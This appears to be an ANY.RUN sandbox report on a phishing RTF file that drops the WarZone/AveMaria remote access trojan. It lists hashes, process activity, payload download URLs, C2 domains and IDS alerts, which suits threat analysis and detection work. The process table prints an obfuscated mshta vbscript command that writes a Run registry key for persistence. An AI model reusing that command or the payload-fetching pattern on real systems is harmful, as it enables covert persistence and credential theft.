analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

PO-20190218.doc

Full analysis: https://app.any.run/tasks/09cf24c2-106a-4574-b58f-bd866016fda7
Verdict: Malicious activity
Threats:

WarZone RAT is a remote access trojan, which is written in C++ and offered as a malware-as-a-service. It packs a wide range of capabilities, from stealing victims’ files and passwords to capturing desktop activities. WarZone RAT is primarily distributed via phishing emails and receives regular updates from its C2.

Malware Trends Tracker     >>>
Analysis date: February 18, 2019, 14:05:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
ole-embedded
opendir
loader
trojan
stealer
rat
avemaria
Indicators:
MIME: text/rtf
File info: Rich Text Format data, unknown version
MD5:

F5AF325C95B02D317E274390C7C43A65

SHA1:

7A9D98DDF23CF296B066D27F583137ECC859670A

SHA256:

8539733DCBD902E903832E7522F99CFD49649A82FF4B373999B9D73B81F844F2

SSDEEP:

96:RZ4ABacBfXPBo08WZLkkUWwwrV4wPWw/J:oofJBo0VxkORV49wx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executable content was dropped or overwritten

      • WINWORD.EXE (PID: 1660)

    • Requests a remote executable file from MS Office

      • WINWORD.EXE (PID: 1660)

    • Application was dropped or rewritten from another process

      • fin2.exe (PID: 2544)
      • sensitises.exe (PID: 320)
      • images.exe (PID: 2968)
      • sensitises.exe (PID: 2420)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1660)

    • Changes the autorun value in the registry

      • sensitises.exe (PID: 320)

    • AVEMARIA was detected

      • sensitises.exe (PID: 2420)

    • Changes settings of System certificates

      • sensitises.exe (PID: 2420)

    • Connects to CnC server

      • sensitises.exe (PID: 2420)

    • Stealing of credential data

      • sensitises.exe (PID: 2420)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 1660)

    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 1660)

    • Executable content was dropped or overwritten

      • fin2.exe (PID: 2544)
      • sensitises.exe (PID: 320)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • fin2.exe (PID: 2544)
      • images.exe (PID: 2968)

    • Creates files in the user directory

      • sensitises.exe (PID: 320)
      • sensitises.exe (PID: 2420)

    • Starts itself from another location

      • images.exe (PID: 2968)
      • sensitises.exe (PID: 320)

    • Connects to unusual port

      • sensitises.exe (PID: 2420)

  • INFO

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 1660)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1660)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1660)

    • Reads internet explorer settings

      • mshta.exe (PID: 2104)
      • mshta.exe (PID: 2484)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start drop and start drop and start winword.exe fin2.exe mshta.exe no specs sensitises.exe images.exe no specs mshta.exe no specs #AVEMARIA sensitises.exe

Process information

PID
CMD
Path
Indicators
Parent process
1660"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PO-20190218.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
2544C:\Users\admin\AppData\Roaming\fin2.exeC:\Users\admin\AppData\Roaming\fin2.exe
WINWORD.EXE
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
UNMASSED
Exit code:
0
Version:
3.07.0005
2104"C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\:\Run\Coexplosion"" : myKey = ""HKCU\Software\Microsoft\Windows\X\Run\NOME"" : myKey=replace(myKey,"":"",""CurrentVersion"") : WshShell.RegWrite myKey,""C:\Users\admin\AppData\Local\Temp\sensitises.exe"",""REG_SZ"" : window.close")C:\Windows\SysWOW64\mshta.exe—fin2.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
320"C:\Users\admin\AppData\Local\Temp\sensitises.exe" C:\Users\admin\AppData\Local\Temp\sensitises.exe
fin2.exe
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
UNMASSED
Exit code:
0
Version:
3.07.0005
2968"C:\Users\admin\AppData\Roaming\images.exe"C:\Users\admin\AppData\Roaming\images.exe—sensitises.exe
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
UNMASSED
Exit code:
0
Version:
3.07.0005
2484"C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\:\Run\Coexplosion"" : myKey = ""HKCU\Software\Microsoft\Windows\X\Run\NOME"" : myKey=replace(myKey,"":"",""CurrentVersion"") : WshShell.RegWrite myKey,""C:\Users\admin\AppData\Local\Temp\sensitises.exe"",""REG_SZ"" : window.close")C:\Windows\SysWOW64\mshta.exe—images.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
2420"C:\Users\admin\AppData\Local\Temp\sensitises.exe" C:\Users\admin\AppData\Local\Temp\sensitises.exe
images.exe
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
UNMASSED
Version:
3.07.0005
Total events
2 357
Read events
1 928
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
1
Text files
3
Unknown types
4

Dropped files

PID
Process
Filename
Type
1660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6BE7.tmp.cvr —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3BDF7694-B665-4811-8E89-EB67C9CB0233}.tmp —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{12FCF90E-861B-47B6-B0E4-B5BB5B0E16C5}.tmp —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{591C13D4-40AA-4C0C-BBC1-81EACD27F8FE}.tmp —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Abctfhghghghghg.sctbinary
MD5:18C5F9A7BF47CA9D0E44F46C1BB9D785
SHA256:12EE926D069165E942824FA497B4109480CFDEADF1293DEC9334064D4EAD189F
1660WINWORD.EXEC:\Users\admin\Desktop\~$-20190218.docpgc
MD5:D11EE3CA1DD4084A5B3730AF3C82F601
SHA256:ABCE20EA298CF84A32F96B974337F36E43A232CDA9E1D51BC43D23CE87B32DBE
1660WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:06EDB9A3CA1EEC83835FF005B2EB44A5
SHA256:08CB9046EDB3D180B4107B7ADECED140D216AB9085820CC089DF17EBCDF34BE0
2544fin2.exeC:\Users\admin\AppData\Local\Temp\sensitises.exeexecutable
MD5:64A828AB3915C29E127CDFCE4C873C6E
SHA256:F267462E35A1F0104185419CA46D448575C6E844A8E1DE976FEB79301DF3BFA3
1660WINWORD.EXEC:\Users\admin\AppData\Roaming\fin2.exeexecutable
MD5:2078A8AF0B72123C97AB7764510ED1C6
SHA256:877ADDD1B56B0F61867FB63F46203EF6E4DD0E9D24F6293F877943AA80427F08
1660WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\PO-20190218.LNKlnk
MD5:6D87876929DB384D3E26BAC4B333BAC2
SHA256:77087BD2FC29B8AFC68B2634866678BFA7ED1E3636280566B6884727EA42EBDB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
30
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1660
WINWORD.EXE
GET
200
66.85.47.43:80
http://zalmikog.com/PDF/fin2.exe
US
executable
868 Kb
suspicious
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/softokn3.dll
US
html
126 Kb
shared
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/nss3.dll
US
html
126 Kb
shared
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/mozglue.dll
US
html
126 Kb
shared
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/msvcp140.dll
US
html
126 Kb
shared
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/freebl3.dll
US
html
126 Kb
shared
2420
sensitises.exe
GET
404
140.82.118.3:443
https://github.com/solmyr1/nothingtoseehere/raw/master/vcruntime140.dll
US
html
126 Kb
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2420
sensitises.exe
91.192.100.13:2012
badnulls.warzonedns.com
SOFTplus Entwicklungen GmbH
CH
malicious
1660
WINWORD.EXE
66.85.47.43:80
zalmikog.com
Host4Geeks LLC
US
suspicious
2420
sensitises.exe
140.82.118.3:443
github.com
—
US
malicious

DNS requests

Domain
IP
Reputation
zalmikog.com
  • 66.85.47.43
suspicious
badnulls.warzonedns.com
  • 91.192.100.13
malicious
github.com
  • 140.82.118.3
  • 140.82.118.4
shared

Threats

PID
Process
Class
Message
1660
WINWORD.EXE
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
1660
WINWORD.EXE
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2420
sensitises.exe
A Network Trojan was detected
MALWARE [PTsecurity] RAT.Win32.AveMaria
18 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
PO-20190218.doc